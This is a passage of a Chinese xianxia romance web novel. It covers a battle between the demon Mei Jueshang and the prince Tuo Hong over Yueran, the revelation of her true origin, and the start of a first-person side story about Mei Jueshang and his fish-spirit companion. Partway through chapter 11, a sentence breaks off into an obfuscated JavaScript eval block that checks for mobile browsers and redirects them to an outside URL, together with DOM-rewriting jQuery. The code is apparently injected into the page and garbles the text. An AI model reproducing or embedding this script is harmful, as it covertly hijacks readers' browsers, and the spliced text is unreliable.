"你说!"魅绝殇双手扣紧,却又不忍用力。看跃然快要窒息,他愤然松手,一挥便将她甩到床角。一拳砸向床柱,拳头未到,柱子已咔嚓断裂,帷帐垂落,隔开了他与跃然的距离。 跃然手拄床板,喘息着回答:"我也并不是很清楚。我醒来的时候,已经在她的身体里了。"她抬头看向魅绝殇。盛怒之下的他,脸色如暗月阴冷,狭长双眸闪射着冰魄般的青光,直挺鼻端仍悬着豆大泪滴,薄唇紧抿已不见血色。 "好。好。好。既然你占了她的身体,那就还她命来。"魅绝殇抬手一掌,一道青光向跃然面门直劈而去。 跃然惊吓埋头蜷起身体。"咔!"床铺瞬间坍塌。就在跃然惊叫坠落时,身体却被猛然拔起,甩向门外。她紧闭双眼,双手抱头,认命地等待坠地时的剧痛。 然而,一个坚实的怀抱稳稳地接住了她。 跃然睁开眼。月光下,玄色衣袍,暗红头巾,那张冷峻的脸上没有一丝表情。不是拓石。是拓宏。 她愣住了。他怎么会在这里? 拓宏没有看她。单手将跃然放到身侧,动作干脆利落,而后抬眼望向屋内那道紫色身影。 魅绝殇没有回身。他始终对着那塌落四碎的床站着,修长手指抚按着腰间的紫晶玄石,双眸泛出幽蓝黯淡的波光。 十年前,她还是条在他怀里修炼了三百年的清鱼精,日日缠着他要一副紫瞳的肉身。他依了她。他什么都依她。可如今,那具他用千年修为换来的肉身还在,里面住的却是别人的灵魂。 小妖孽,你去哪儿了? 魅绝殇背对着院中不速之客,冷掷一句:"把人留下,你可以走了。" 拓宏抱拳,脸上现出谦和笑意:"熙远王宇文拓宏,见过这位大侠。在下奉熙坤王兄之命,带这位姑娘回宫。不知大侠可否行个方便?" "滚。"魅绝殇不愿废话。他不想伤及小妖孽的肉身,方才将跃然抛出只是怕盛怒之下误伤。但这不代表他可以容忍任何人带走她。 "拓宏王命难违,不知大侠与这姑娘是何关系?不如大侠移步舍下一坐?" "少废话。滚。"魅绝殇一挥手,屋内一张桌子凌空飞出,在拓宏近前四裂而碎。 拓宏低头看了一眼飞溅到脚边的木屑。那一掌若打在他身上,下场和这桌子不会有任何区别。硬拼,死路一条。但他不能退。 王兄身中奇毒,并未完全解毒,他现有内力只能勉强压制,一身修为早已所剩无几。 拓云年仅十三,连对方一招都接不住。而他是三个人里唯一能拔剑的人。 他转身抓住跃然的胳膊,拖着她便往院外走。 跃然脚下一绊扑倒在地。膝头正跪上一截残木,木刺入骨,血瞬间渗了出来。 拓宏低头看了一眼。那双紫瞳里没有求救,没有怨恨,只有逆来顺受的麻木——连躲都不会?他俯身右手一带,将跃然横抱入怀。 跃然不由得瑟缩了一下。她闻到了浓重的血腥味,混杂着他身上特有的气息,如同雨后泥土的清香。 这个少年起初对她有敌意,她能感觉到,但那双抱着她的手臂比她想象中稳得多。她抓着他衣襟的手慢慢松开了。算了。既然他这么厌恶她,那就让他把她交出去好了。 拓宏感觉到衣襟上那只小手松开了。他低头看了一眼——跃然的手垂在身侧,手指微微蜷着,像一朵还没开就谢了的花。 他心里忽然涌上一股说不清的烦躁。不是厌恶。是看见一个人明明还有力气挣扎却选择了放弃的那种不甘。 "抓住我。"他冷冷下令,却不肯低头看她。 "我魅绝殇从没被人这么无视过。小子,我倒看看你的骨头有多硬。"魅绝殇转过身来,墨蓝眼瞳眯起。略一抬手,拓宏怀中的跃然已腾空飞起,转瞬落回他手边。 拓宏双臂一空。 他站在那里,看着那紫衣男人。这样的存在面前,他的剑术、兵法、一切引以为傲的东西,都如螳臂当车。但他不能让这人带走她。不只是王兄的嘱托——方才跃然蜷在地上抬头看他时,紫瞳里没有求救,只有认命。那种眼神他太熟悉。母王死后那些年,他在镜子里见过同样的死相。不是不想活,是不知道自己还有没有资格活。 "大侠何必为一个小姑娘和朝廷作对?"拓宏脸上重新挂起笑意,但右手在背后向暗处打了梧卫才懂的手势。 "呵呵,悲哀啊。莫非当年一方霸主青岚国国君梧苒,举国战死,就护下了你这么个摇尾谄媚的孬种?"魅绝殇轻蔑大笑。 拓宏脸上的笑意僵了一瞬。青岚国、梧苒。这是他藏在心底最深处、从不许任何人触碰的名字。他的外祖父。他的血脉。他母亲至死没有闭上眼睛的原因。 但那僵滞只持续了片刻。他重新挂起笑意,向魅绝殇走去,步履从容,像是在和一位朋友寒暄。 三步。五步。在离魅绝殇十步之遥处,忽然停住。 就在他开口的同时,一道极轻微的破空声从魅绝殇身后响起——梧卫特制的迷踪烟在院墙上炸开一团浓重灰烟。 可那紫衣男人竟未动分毫。只轻轻一挥袖,浓烟便如被无形巨手拨开,反卷向冲上来的梧卫。惨叫未起,十几道黑影已如断线风筝般倒飞出去,重重砸在院墙上,再无声息。 就是现在。拓宏身形一晃,没有攻向魅绝殇——攻了也没用。他的目标是跃然。如一支离弦的箭,在残烟中猛地掠至魅绝殇身侧,左手抓住跃然的手腕,用力往外一带。 魅绝殇冷笑一声,甚至没有松手。只轻轻抬了抬手指,一道青光便向拓宏胸口打来。拓宏侧身,那道光擦着左肩掠过,带下一片玄色布料和一道血痕。他没有退。借着侧身的力道将跃然往身后一甩,整个人挡在了她面前。 "走。"他对跃然说,没有回头。 烟雾正在散去。魅绝殇低头看着拓宏——这个凡人小子左肩淌血,明知打不过,明知挡不住,却一步不让。 "小子,你这是找死。"魅绝殇的声音没有了戏谑。 拓宏没有回答。手按剑柄,指节泛白,身体没抖,脊背挺得笔直。 11. 魂穿真相 “凡真正的救赎,乃是自苦难中伸出手来抓住自己。” ——里尔克《给青年诗人的信》 跃然被甩到一边,踉跄着撞在廊柱上。她抬起头,透过散去的烟雾,看见拓宏的背影挡在她面前。 那个少年的肩膀瘦削,左肩还在往下淌血,但他站在那里,像一堵墙。 为什么?她明明感觉到他对她有敌意,明明已经做好了被他丢出去的准备。可他没有。他挡在她面前,用最决绝的方式。 魅绝殇看着拓宏,冰蓝眸子里的轻蔑慢慢褪去。 “你叫什么名字?”他忽然问。 “拓—宏。”咬着牙,一字一顿。 “拓宏小子,记住了。今天你舍命护她,我可以放你一马。”魅绝殇收回手,退后一步,低头看了一眼蜷缩在拓宏身后的跃然,又看了看拓宏——这个凡人小子用命护住了小妖孽的肉身。这份心意,他认。 “不过——”他话锋一转,冰蓝的眸子微微眯起,声音重新变得滑润而危险,“这具身体是我的小妖孽的,我必须带走。谁挡,谁死。” 他抬起手,指尖重新凝聚起一道青光,比方才更盛。 “所以,小子——”他寒声冷笑,“还来吗?” 拓宏没有回答。他侧头看了一眼身后的跃然,那双紫瞳里仍是没有惧怕,只有溢出眸色的困惑和逆来顺受的麻木。 “下次若有人向你出手——要躲。”他的声音很低,只够她一个人听见,“再被人掐着脖子,记得用手去抠他的眼睛,别只会抓衣襟。” 然后他转回去,面对魅绝殇,闭眼深吸一口气,将胸腔里翻涌的气血生生压了回去,握紧剑柄,指节泛白,但毫无退意。 “呵呵,脾气倒是很硬!”魅绝殇眼中掠过一丝极淡的意外,随即轻轻扬手,一道蓝光朝拓宏扫去。 “呃!”拓宏在魅绝殇的蔑笑中运气丹田,双唇紧绷,双臂交叉格挡在胸前。然而,下一秒,他身体猛地一晃,能听到他骨骼断裂额声响,一口鲜血终究没能压住,顺着紧抿的嘴角溢出一缕,染红了苍白的下巴。 但,就在他快要跌倒的一瞬间,他凭空聚起一团罡气,挺跃而起。 “主上!”梧冲庭惊呼出声。他跟随拓宏多年,深知这少年隐忍的极限——双臂骨裂,内力耗尽,能站着已是奇迹。此刻还要强撑起身,这是以命相抗! “拓宏……”跃然不可置信地望向他。哪里来的力气?她看见他无力垂在身侧的双手,正有血滴不断从指尖滴下。一滴,两滴,暗红的血珠落在青石地面上,嫣红刺目。他明明连抬手的力气都没有了,却还在一步、一步,向魅绝殇逼近。 魅绝殇的冷笑凝结在唇边。他扬手又是一记御泉掌,未运真力,却已将拓宏狠狠掀翻在地。一口鲜血喷出口鼻,拓宏倒在地上,不再动弹。但手指仍死死扣着剑柄,指节泛白,仿佛即便昏迷也要与来敌同归于尽。 “主上!主上!”梧冲庭痛呼上前,费力掰开拓宏的手才将剑抽出,拔剑冲向魅绝殇。 魅绝殇再没看拓宏,也丝毫没有顾忌冲杀上来的梧冲庭,垂头提起跃然便要离去。 跃然情急地抓住魅绝殇的手臂,狠狠咬下去。 她不知道如何才能挣脱这紫衣恶魔的钳制,也不知道还有什么可以用来报复他的残忍,只有选用最愚蠢的方式。 “嗯?”魅绝殇单指弹飞梧冲庭的剑,而后单手抓起跃然的脖颈,“怎么?报仇?替他?”他不懂。明知道她不是小妖孽,为什么一看到她关心外人,自己就怒气难遏。 跃然挣扎着,喉间的窒息让她拼命抓扯魅绝殇的衣襟。慌乱中,她摸到了魅绝殇腰间的锐石。她扯下紫珀玄经狠狠击打魅绝殇的手臂。 “啊……”一阵剧烈刺痛传来,魅绝殇猛然松开了手。如今能伤到魅绝殇的,恐怕只有这神器了。 跃然摔坐在地上,抓着紫珀玄经匆忙向后退。 “快把玄石给我!”魅绝殇愤怒地看向跃然,却没有靠近。 紫珀玄经历来能护佑灵魄着体,一旦跃然与玄石气息融合,肉身就会自动复合上它的元神,任谁都无法将其二者分离。那么,他的小妖孽就再也没有机会回到这具身体了。 而这身体是小妖孽用全部精气修炼而成,如果不能回来,她必然只能做幽魂一抹,再也无法修炼升仙。 “给你?可以!你先救活他!放他走!”跃然察觉到魅绝殇的隐忧,虽不能领会具体缘由,但已猜出八九分。这紫水晶不是一般宝石,可以用作救活拓宏的砝码。 “你!好!”魅绝殇丝毫没有犹豫,指尖一挑,拓宏身体悬起,被一道青蓝的水韵包裹。水韵在他身体周围收缩旋转,最后轻轻着落在地上。 “三日内他必醒,五日内他可行动自如,十日内便可恢复原来功力。这样,够了吗?!”魅绝殇咬牙问向跃然,蓝眸放出幽暗怒光。 “他还没康复,我怎么判断你话的真假?!”跃然分寸不让。为确保玄石不被魅绝殇施法夺取,她用尽全身力气紧紧握住玄石,手心被锐石刺破了都全然不知。 她必须保证这男孩儿安然无恙。之前拓石为她险些丧命,在浊泉里,那个人把她从死亡里拽出来——她没能自救,也没能救任何人。现在这男孩儿又奄奄一息。来到异世,为了让她存活,却惹得那么多无辜生命备受牵连。跃然怎会心安! “好!好!好!我让他马上清醒!”魅绝殇凝眉沉默地走向拓宏,单指按向百会穴。 就在这时,异变发生。 “咔!”魅绝殇身后,一道闪电破空,正刺向跃然身体。 紫珀玄经被闪电击中,在跃然掌心猛地一烫——像是握住了一颗活过来的星子。紫晶碎裂,光晕如阳光流泻,颗颗水晶碎片如细碎花瓣飘落在她身上。 然后那些花瓣融了。不是落在皮肤上,是融进去的。碎晶触及脸颊、手臂、脖颈,便如露水入土般无声渗入,留下一阵细密的、酥麻的刺痛。 她低头看自己的手——掌心的伤口正在以肉眼可见的速度愈合,一层极淡的紫光覆上去,像水面上浮着的一层薄油,晃一晃便散了,但那种从骨肉深处涌上来的温热,却久久不退。 这是怎么回事?她慌了。 “不!还我小妖孽!”魅绝殇匆忙转身奔向跃然,然而还未到近前,便被那层紫色光韵反弹出数米,口角滴血。 跃然怔怔地看着他倒下去。方才还是那般不可一世,一掌便能将拓宏掀翻在地,此刻却匍匐在碎木瓦砾间,像一条被抽去了脊骨的鱼。 “小妖孽……”他的声音嘶哑了,冰蓝的眸子死死盯着跃然——不,不是盯着她,是盯着她身体里那个再也回不来的灵魂。 他的小妖孽,再也回不来了。 跃然不知道该说什么。她甚至不知道该不该抱歉——这具身体本就不是她的。她占了别人的皮囊,如今又融了那块能让原主回归的玄石。她无意于此,可事情已经发生了。 “哥哥……哥哥……” 一道青灰色的流光从跃然指尖飘出,细若游丝,在夜风中摇摇欲坠。 跃然一惊。那光是从她手指上飘出来的——从她身体里飘出来的。她下意识攥紧拳头,可那道光已经脱离了她,盘旋着飞向魅绝殇。 “哥哥,哥哥,惜儿好怕!”青光蜷缩成一团,栖息在魅绝殇惨白的指尖,声音细小得像风里的铃铛。 跃然呆呆地看着。这就是魅绝殇的小妖孽?不是一具身体,只是一抹幽魂? “小妖孽!”魅绝殇惊喜地抬头,伸手将光团捧在掌心。 “哥哥,哥哥,惜儿再也不偷食移情果了,惜儿知错了,惜儿只是不想哥哥一个人下山,想哥哥多陪陪惜儿啊!哥哥,哥哥,别再惩罚惜儿了!让惜儿回去吧……”光团跳跃着,急急地做着保证。 跃然听着那声音,心里忽然涌上一阵说不出的酸楚。移情果。惩罚。怕哥哥一个人。这分明也是个犯了错、怕被抛弃的孩子——和她方才在山上想的一模一样:不想拖累任何人,却又害怕被丢下。 “小妖孽,哥哥错了。哥哥不该封你法力,不该丢下你……小妖孽,哥哥带你回家。”魅绝殇双目垂泪,紧紧将光团护在心口。 “哥哥,哥哥,惜儿的身体呢?惜儿和哥哥一样的身体呢?”光团吵嚷着在魅绝殇指尖蹦跳。 “惜儿乖,以后,咱们都不要身体了。以后,哥哥每天都陪在你身边。你去哪儿,哥哥就去哪儿,好不好?”魅绝殇疼惜地轻抚着光团。 “好啊!好啊!惜儿只要哥哥陪!可是……”光团似乎还是舍不得什么,可是一时又说不清缺少了什么。 魅绝殇从心口处唤出一颗蓝色的水晶石,走到跃然身前。 跃然本能地往后缩了一下。他的眼神不再是方才的杀意或愤怒,而是一种更复杂的东西——像在看一件注定要交付的宿命。 “十年前,我向你的生母求得你的身体,以你父亲对她的醉心作为代价。” 跃然的呼吸停了一瞬。生母。身体。代价。 “而后,送你去异世存活。” 异世。他说的是——她去过的那个世界? 跃然想开口,嗓子却像被什么东西堵住了。她听懂了每一个字,可它们排列在一起构成的含义,像一道光太亮,反而看不清。 这具身体——不是惜儿抢了她的,而是本就是她的?她去的那个人间,不是意外,是被人送过去的?她的生母——她的生母是谁? “如今,你回来了,甚至不惜用灵血唤醒紫珀玄经,求得灵肉复合。看来,你已经做好重生的准备了。” 跃然张了张嘴,还是说不出话。太多问题同时涌上来,堵在喉咙口,互相推搡,哪个都先出不来。 她只觉得手心那道被玄石刺破的伤口在发烫——不,是整只手都在发烫,那种温热从掌心一直蔓延到手腕,像有什么东西在血液里慢慢苏醒。 魅绝殇将蓝水晶捏碎,透明的蓝色晶片瞬间被跃然的身体吮尽。又是一阵细密的刺痛,比紫晶碎裂时更深、更沉,像有什么东西在骨髓深处被重新缝合。 她低头看自己的手——指尖那层极淡的紫光更亮了一瞬,然后慢慢沉入皮肤之下,不见了。 魅绝殇最后看了一眼跃然的眉眼,“你如今像极了十年前,我向那位女仙求取肉身时,她的模样——原来兜兜转转,一切早已注定。”他轻轻叹了口气,身形化作流光。 “把我的精元也送你吧,我虽修炼千年,却难逃情劫。将你送去异世,让小妖孽占你肉身,早已铸成大错。这次,算我还你。你注定属于这里,且注定不凡。我倾尽全力,还是未改变你的命数半分。但你要记住,你生父只是凡人,你半人半仙的血脉,注定命途多舛。既然你选择了今世重生,那么,你需承受!” 跃然跪坐在碎木瓦砾间,看着他慢慢融化在月光里。玄冰消释,青丝化雾,那紫袍的轮廓越来越淡,像一幅被雨淋湿的画,笔触一点一点洇开,最终只余一道青白的流光。两道流光相伴着升起,像两颗终于找到了彼此的星子,没入无边的夜色。 “小妖孽,我们走吧!玄冥千载情难弃,绝殇永惜誓不离……”绝殇的话音消散在惜儿清亮悦耳的笑声中。 庭院重归寂静。 跃然呆坐在原地。方才发生的一切太快,又太沉——像一场突如其来的山崩,碎石泥土劈头盖脸地砸下来,她还站着,来不及躲,也来不及哭。 只有一个念头在脑子里反复回响,像被风磨亮的石子,越磨越清晰——“我向你的生母求得你的身体,以你父亲对她的醉心作为代价。而后,送你去异世存活。” 这具身体是她的。她去的那个人间,是被人送去的。她的生母,是魅绝殇口中的“女仙”。她的父亲——醉心于一个女仙的凡人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632075|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?她抓不住更多的线索了。那些信息像水银一样从指缝间漏下去,只留下冰凉的触感。但有一件事她确定了:她不属于现代那个世界。从来就不属于。 梧冲庭从地上爬起,踉跄着冲到拓宏身边,将他小心地翻转过来。拓宏双眼紧闭,气息微弱,但面色已不像方才那般青白——那青蓝水韵的治疗正在起效。 昏迷中,他嘴唇微微翕动,似在唤一个人的名字,极轻极碎,被夜风吹散,只留下一个模糊的音节——“夏”。 方才那个在月光下宁折不弯的少年,此刻安静得像一件被收进盒子里的兵器,锋利还在,却不再指向任何人。 “他怎么样?”跃然撑着身子站起来,膝盖的伤口还在渗血,但她顾不上,一瘸一拐地走到拓宏身边,蹲下来看着那张苍白的脸。 梧冲庭抬头看了她一眼,目光复杂——是感激,是戒备,还有一种说不清的、像是在辨认什么的神情。 “水韵护住了他的心脉,需要静养。”他的声音很平,但不再像之前那样冷硬。 跃然跪坐在拓宏身边,低头看着他。她伸出手,想擦掉他脸上的血迹,手指在空中悬了一瞬,最终只是轻轻把他额前散落的碎发拨到一边。 这是她第一次看清他的脸——不是隔着军阵,不是躲在拓石怀里,不是在月光下匆匆一瞥。 他的眉很浓,剑一般斜入鬓角,即使昏迷着也带着一股不肯低头的傲气。他的睫毛很长,不像是武将,倒像是个还没长大的少年。他的唇紧紧抿着,像是在梦里还在咬牙硬撑。 跃然的眼眶忽然一热。她想起他挡在自己面前的样子,想起他侧头说的那句“要躲”,想起他用骨裂的双臂撑着身体从地上站起来,一步一血印向魅绝殇逼近,却没有退缩一步。 她从没见过这样的人,用最冷的脸做最不要命的事,用最狠的语气说最护人的话。明明可以把她交出去,明明可以不用受伤,明明可以不去理会这个只认识不到一天的“义妹”。可他挡在她面前,一次又一次。 她忽然意识到一件事:在浊泉里,是那个人把她从死亡中拽出来的。她没能自救,也没能救任何人。一直以来,她总是被动地被别人救、被别人爱、被别人背叛,她从来没有主动去守护过任何人。而眼前这个少年,用他的方式告诉她:有一种人,决定了要做的成的事,即使知道打不过,也绝不会退。她不知道自己能不能成为这样的人。但她突然想试试。 驿站门口传来急促的马蹄声。 拓石从马车上跳下来,快步走进院子。他看了一眼满地狼藉和昏迷不醒的梧卫,目光落在拓宏身上,瞳孔猛地一缩。但他没有多问——拓宏身上的青蓝水韵还在流转,那是正在愈合的迹象。 他走到拓宏面前,蹲下身,手指轻轻探了探他的脉门。片刻后,眉间的紧蹙微微松了些。 “将二弟抬至马车上,好生照料。其余伤者,原地休整。”他的声音恢复了熙坤王该有的沉稳。 “是。”梧冲庭应声,和几个苏醒过来的梧卫一起小心翼翼地将拓宏抬起。路过跃然身边时,梧冲庭停了一步。 “跃然姑娘,你方才……救了主上。”他的声音有些发涩,“梧冲庭,记下了。” 跃然没有应。她只是蹲在原地,看着拓宏被抬进马车。然后她低下头,看见自己掌心被紫晶玄石刺破的伤口。伤口已经不流血了,边缘正在以她能感知的速度愈合。一层极淡的紫色光晕覆在掌心,像一片薄薄的、还没散尽的星光。 她慢慢握紧了拳头。掌心那道伤口还在隐隐作痛,但这双手,以后再也不能只是用来抓别人的衣襟了。 马车重新启程。 车厢内,拓云靠在跃然身边,流着泪让跃然留下,不要再离开,最后竟抽抽搭搭地睡着了。 拓石坐在对面,闭目不言。 跃然低着头,看着自己交握在膝上的双手。 “还走吗?”拓石忽然开口,声音很低,没有责备,只是问。 跃然没有立刻回答。 拓石沉默了一瞬,又说:“宫中藏书阁有一部《灵寰杂录》,其中关于紫眸的记载,是吾所见最详尽的。” 跃然的手指微微一蜷。 紫眸。魅绝殇说的那些话——生母,女仙,身体,代价——像一堆拼不出全貌的碎片,而那本书里或许有她缺的那几块。 她当然知道王宫是什么地方。 前世看过的宫斗剧够多了,皇权更迭、骨肉相残,外人卷进去就是炮灰。 她一个没血缘的“义妹”,掺和进去算什么? 可眼下——她低头看了看自己的手。掌心还在发烫,紫晶玄石融进血液之后,伤口自行愈合,指尖那层紫光沉了又浮,她连这具身体正在发生什么都说不清楚。 但,现在的她,连魅绝殇都不能近身,是不是也有能力保护这三个半大孩子了? 而拓宏,要至少三日才醒。他曾为她舍命,她要亲眼看到他睁开眼,才算数。那么先同行一段,等拓宏醒了,查清楚紫眸的事,再想办法离开,也是不晚的。 “不是不走了。”她轻轻说,声音很低,像是说给自己听的,“是现在走不了。” 拓石看了她一眼,没有多问,只微微点头,攥紧的手指微微放松了。 象州那个人或许还在等她,那个人说的话,是只有沈煦才知道。他会是沈煦吗?那清晰的长疤又是怎么回事? 她抬起头,掀开车帘一角。夜风灌进来,带着马蹄扬起的尘土气息。窗外,金梧卫的旗帜在月光下猎猎作响。 跃然向车外看了很久,直到车帘从手中滑落。 马车在”夜色中前行。远处天边已经开始泛起极淡极淡的青色,像是有人在夜幕最深处滴了一滴清水,墨色正在一点一点被稀释。马蹄声碎,夜风渐凉。 但跃然觉得,心口那块冷石头,似乎轻了一点点,暖了一点点。 12. 番外一·玄冥千载情难弃 “在隆冬,我终于知道,我身上有一个不可战胜的夏天。” ——加缪 我叫魅绝殇。 这名字是我自己取的。“魅”,是精魅,是灵泉修化出的非人非神之物;“绝”,是我绝了天条,绝了后路;“殇”,是我预感终究有一场天劫,我躲不过去。 但我最初不是这个名字。最初,我甚至没有名字。 一、天裂 雨虹山是蔚魄大陆的心脉所聚。山上有两道泉,一道清,一道浊。清泉聚天地清灵正气,浊泉纳万物戾怨邪阴。千百年来,清浊相制,自有平衡,蔚魄由此安泰。 千年前某日,天裂了。 不是雨虹山的天——是撑持整个蔚魄大陆的那道屏障碎了。没有预兆,没有天劫,只听见一声沉闷的轰响,像有人在天穹上敲了一锤,那道维系了千万年的屏障便从中间裂开了一道缝。 清泉与浊泉之间自动调和的灵力一夜消散。浊泉戾气翻涌,如困兽出笼,黑雾漫过山石,侵蚀草木,清泉镇压之力骤减,只余浊泉周围不知何人布下的一道法阵勉强□□。 而就在天裂的那一刻——一滴精血从那道裂缝中坠落。 它穿过云层,穿过风,穿过雨虹山千年的雾气,笔直地落入清泉泉心。 精血与千年清灵正气相触的一瞬,整座清泉沸腾了。泉底翻涌起前所未有的光芒,白得像烧化了的日头,亮得连浊泉那边的黑雾都退了三尺。 然后一切归于沉寂。 泉底多了一枚灵珠,拇指大小,通体莹白,中心一点殷红,像落进雪里的一滴血。 那便是我的来处。 不是父母所生,不是天地所育,是天裂时坠落的一滴精血,碰巧落进了清泉,碰巧与千年灵气相融,碰巧修化出了灵识。 三个碰巧,凑成了一个我。 二、泪与鲤 灵珠在泉底沉了三百年。 三百年间,我听见了风声,听见了雨落,听见了浊泉那边的嘶吼与呜咽,听见了清泉水流过青石时轻柔的低吟。我什么都听得见,什么都看不见。 直到某一天,灵珠裂开,我睁开了眼。 看见的第一样东西是月光。月华倾泻在泉面上,碎成千万片银鳞,风一吹就荡开,美得不真实。我从泉底浮上来,赤脚踩在泉边的青石上,石面微凉,像这世间唯一肯触碰我的东西。 我低头看水中自己的倒影——冰蓝的眸子,玄冰色的长发,一张从没被人叫过名字的脸。 好孤寂。 这孤寂不是三百年的灵识沉睡造成的,是醒来之后才有的。因为醒来才明白,看见那么多美好,却没有一个是为我而来。月光不认识我,清风不认识我,连我自己的倒影,我一伸手就碎了。 我忽然觉得眼眶很热。 那是我第一次落泪。泪从冰蓝的眸子里滑出来,落入泉中,无声无息。我看着它沉下去,被水波揉碎,化作一缕极细的光,飘向泉底最深处——附着在一尾小鲤鱼身上。 那尾鲤鱼通体绯红,只有鳞片边缘带着一点金,像被火烧过又被水洗过。它在泉底游了不知多少年,始终浑浑噩噩,可我的泪落在它身上之后,它忽然停住了。它停在水底,仰头看向我。 鱼怎么会有那样的眼神?像是在说——你在哭吗? 我蹲下来,隔着水面与它对视。月光把我的影子投进水里,小鲤鱼便绕着那影子转了一圈,尾巴轻轻扫过我倒影的掌心。 痒。 我竟笑了。 那是修化灵识三百年来,第一次笑。 “你叫什么?”我问它。 它当然不会说话,只是吐了个泡泡。 “那我给你取个名字。”我想了想,“你就叫惜儿吧,我会好好珍惜。” 小鲤鱼甩了甩尾巴,溅了我一脸水。 我擦了擦脸,又笑了。 三、小妖孽 惜儿修化得很慢。 我有了人形之后,她还是一尾鲤鱼。每天早晨我去泉边打坐,她就在水里游来游去,绕着我的倒影转圈。有时我闭目调息太久,她就跳出水面,“啪”地拍我一脸水——跟小时候一模一样。 “调皮。”我睁眼说她。 她就在水里吐泡泡,一串一串的,像在笑。 又过了百年,她终于修化出了人形。 那天清晨,我照常去泉边,看见一个女孩坐在泉边的青石上,赤着脚,脚踝上还挂着几片没褪尽的鳞。她看见我,歪了歪头,笑起来眼睛弯弯的—— “哥哥!” 她的声音像泉底的碎玉,清亮又脆。 我愣住了。 百年了。百年间我唯一的伴就是这尾鲤鱼,而我从没想过她修化成人形后会是这样——小小的,红衣赤足,头发湿漉漉地披在肩上,眼睛亮得像含了两颗泉底的星子。 “哥哥!”她又叫了一声,扑过来抱住我的腰。 我整个人僵住了。三百年灵识,四百年人形,从没有谁碰过我这般亲昵。她的体温隔着衣袍传来,暖暖的,像泉水被日光晒过的那一层。 “你……修化成人了。”我说。 “嗯!”她仰头看我,笑得眉眼弯弯,“惜儿可以陪哥哥了!不用只在水里看哥哥的倒影了!” 我低头看着她,心里某个从未被触碰的角落忽然软了一下,像冰层底下有什么东西在融化。 “小妖孽。”我伸手弹了一下她的额头,这称呼脱口而出,“谁让你叫我哥哥的?” “你是我哥哥啊!”她捂着额头,瞪我,“你给我取的名字,你养大的我,你不是哥哥谁是哥哥?要不,叫爸爸?” 我无语,一口气堵在心口,“叫哥哥!”” “好啊!哥哥!哥哥!哥哥!” 我看着她理直气壮的样子,忍不住笑了。小妖孽。我不知怎么就喊出了这三个字,不是骂她,是心里忽然涌上来的、不知道该怎么安放的那一点柔软。 从那天起,我就叫她小妖孽。 她嘴上每次都抗议——“哥!我有名字的!惜儿!惜——儿!”可眼睛弯弯的,分明是喜欢的。 小妖孽。这三个字含在嘴里,是甜的。 四、碰不到 小妖孽有了人形,却没有实体。 她是灵体,看得见,摸不着。她站在我面前,笑盈盈地伸手要牵我,可她的手指穿过我的掌心,像抓一缕烟。 她愣了一下,然后缩回手,笑着说:“没关系,清灵看着哥哥就好了。” 可我看见她转过身去,偷偷把手蜷起来,攥成拳头。 我的心疼了一下。 她从此想了很多笨办法来“碰”我。春天她把泉边的桃花摇下来,让花瓣落在我肩上,说“这是惜儿碰到了”;夏夜她把萤火虫赶过来,让它们绕着我飞,说“这是惜儿抱住哥哥了”;秋天她把落叶扫成一堆,让我踩上去,说“惜儿托着哥哥的脚呢”;冬天她对着我的手心吹气,虽然什么都吹不出来,她还是努力地吹,吹完了问我——“暖不暖?” “暖。”我说。 她笑了,笑得眼睛弯弯的,鼻尖却红红的。 我其实不暖。可她那么努力,我怎么能说不暖? 有一次,我打坐时入了定,醒来已是深夜。睁眼便看见她蹲在我面前,两只手悬在我脸的两侧,小心翼翼地,像是想捧住我的脸,却不敢落下去。 “你在做什么?” 她吓得跳起来,“没、没有!惜儿就是看看哥哥……” “你想碰我?” 她沉默了一瞬,然后低下头,声音小得像蚊子哼:“惜儿想拉哥哥的手。” 我伸出手,摊开掌心,放在她面前。 她伸出手,慢慢地落下来——指尖穿过我的掌心,穿过去,什么也没碰到。 她看着自己悬在我掌心下方的手,忽然笑了。 “哥哥的手好暖。”她说。 她明明什么都没碰到。 那一夜我坐在泉边,直到天亮。水面上映着我的倒影,冰蓝眸子,玄冰长发,和千年不变的冷淡眉目。我看着那倒影,忽然觉得——我这样的人,活着有什么意思?看得见月光,碰不到月光。看得见小妖孽,碰不到小妖孽。世间万物于我,都隔着一层。 小妖孽说“哥哥的手好暖”的时候,我多想真的握住她。 五、移情果 清泉有一样旁人不知道的异宝。 泉底深处,千年清灵正气凝聚,偶尔会结出一枚果实,通体莹白,只有拇指大小,叫做移情果。服之可令指定之人对自己钟情不渝。 移情果极难结出,千年不过三四枚。我守着清泉,也守着这几枚果子,从没想过要给谁用。 直到小妖孽说她想要一具身体。 “哥哥有人形,惜儿也要!”她拉着我袖子撒娇,“惜儿不想只做灵体,惜儿想要和哥哥一样的身体!摸得着、暖得上的那种!” “你现在是灵体,不好吗?” “不好!”她鼓着脸,“灵体碰不到哥哥!每次碰你,手就穿过去了……”她的声音低下去,“惜儿想拉哥哥的手,想靠在哥哥肩上,想让哥哥抱惜儿的时候——是真的抱着,不是抱一团风。” 她说着说着,眼眶红了。 我心里一痛。 “好。”我说,“我帮你找身体。” 我巡遍雨虹山方圆百里,寻了许多病逝女孩的遗体,一一带回清泉边。小妖孽每一具都看了,每一具都摇头。 “不要。” “这具呢?才八岁,骨骼清秀——” “不要。” “那这具?十二岁,死时面容安详——” “不要不要!”她蹲在地上,双手托腮,一脸不高兴,“都不是惜儿想要的!” “你到底想要什么样的?” “惜儿要——”她抬起头,眸子亮了一下,“惜儿要紫眸的那种!和哥哥的蓝眸一样好看!” “胡闹。凡人哪有紫眸?” “有的!”她跳起来,拉着我往泉边跑,“哥哥你看——” 泉边的青石上,坐着一个女子。 不,不是凡人女子。我一眼便看出来了——她身上有仙骨残余的清辉,虽然微弱得像风中残烛,但确确实实是仙神之属。她穿着粗布衣裳,腹部微微隆起,正坐在泉边,抱着膝盖,无声地哭。 那双眼睛,是紫色的。 极深极纯的紫,像暮色最浓时天边最后一缕霞光。可那双紫瞳里盛的不是霞光,是泪。 小妖孽蹲在她旁边,歪头看着那双紫眸,回头对我笑——“哥哥!就是这种!” 